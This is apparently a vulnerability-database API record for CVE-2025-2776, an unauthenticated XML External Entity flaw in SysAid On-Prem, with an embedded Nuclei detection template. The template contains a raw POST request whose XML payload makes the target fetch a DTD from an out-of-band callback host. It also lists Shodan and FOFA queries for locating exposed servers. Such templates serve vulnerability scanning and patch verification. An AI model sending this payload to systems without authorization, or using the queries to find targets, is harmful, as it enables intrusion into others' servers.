{"_links":{"capec":{"href":"/api/v1/vulnerability/cve-2025-2776/capec"},"cvss":{"href":"/api/v1/vulnerability/cve-2025-2776/cvss"},"cwe":{"href":"/api/v1/vulnerability/cve-2025-2776/cwe"},"enrichment":{"href":"/api/v1/vulnerability/cve-2025-2776/enrichment"},"gcve":{"href":"/api/v1/vulnerability/cve-2025-2776/gcve"},"self":{"href":"/api/v1/vulnerability/cve-2025-2776"},"sightings":{"href":"/api/v1/sightings/cve-2025-2776"}},"data":{"nuclei":true,"nuclei_template":"http/cves/2025/CVE-2025-2776.yaml","nuclei_template_severity":"critical","nuclei_template_yaml":"id: CVE-2025-2776\n\ninfo:\n  name: SysAid On-Prem <= 23.3.40 - XML External Entity\n  author: johnk3r\n  severity: critical\n  description: |\n    SysAid On-Prem versions <= 23.3.40 are vulnerable to an unauthenticated XML External Entity (XXE) vulnerability in the Server URL processing functionality, allowing for administrator account takeover and file read primitives.\n  impact: |\n    Unauthenticated attackers can exploit XXE vulnerabilities in the Server URL endpoint to read arbitrary files, potentially leading to administrator account takeover and complete system compromise.\n  remediation: |\n    Upgrade to SysAid On-Prem version 24.40.60 or later that properly disables external entity processing.\n  reference:\n    - https://labs.watchtowr.com/sysowned-your-friendly-rce-support-ticket/\n    - https://documentation.sysaid.com/docs/24-40-60\n  classification:\n    epss-score: 0.64397\n    epss-percentile: 0.99198\n    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:L\n    cvss-score: 9.3\n    cve-id: CVE-2025-2776\n    cwe-id: CWE-611\n  metadata:\n    max-request: 1\n    vendor: sysaid\n    product: sysaid\n    shodan-query: http.favicon.hash:\"1540720428\"\n    fofa-query: icon_hash=1540720428\n  tags: cve,cve2025,sysaid,xxe,oast,kev,vkev,vuln\n\nvariables:\n  filename: \"{{to_lower(rand_text_alpha(5))}}\"\n\nhttp:\n  - raw:\n      - |\n        POST /mdm/serverurl HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <?xml version=\"1.0\" ?>\n        <!DOCTYPE foo [\n        <!ENTITY % foo SYSTEM \"http://{{interactsh-url}}/{{filename}}.dtd\">\n        %foo;\n        ]>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n# digest: 490a0046304402204d00f8e393e2764b990ea5665d65583f6f67097774a59a18ddf7d636cda30bb902204ee496541b03275b775a1fc097ee6b538e3c79c89d4cbd2d4e646e586635f016:922c64590222798bb761d5b6d8e72950"},"source":"nuclei","vuln_id":"cve-2025-2776"}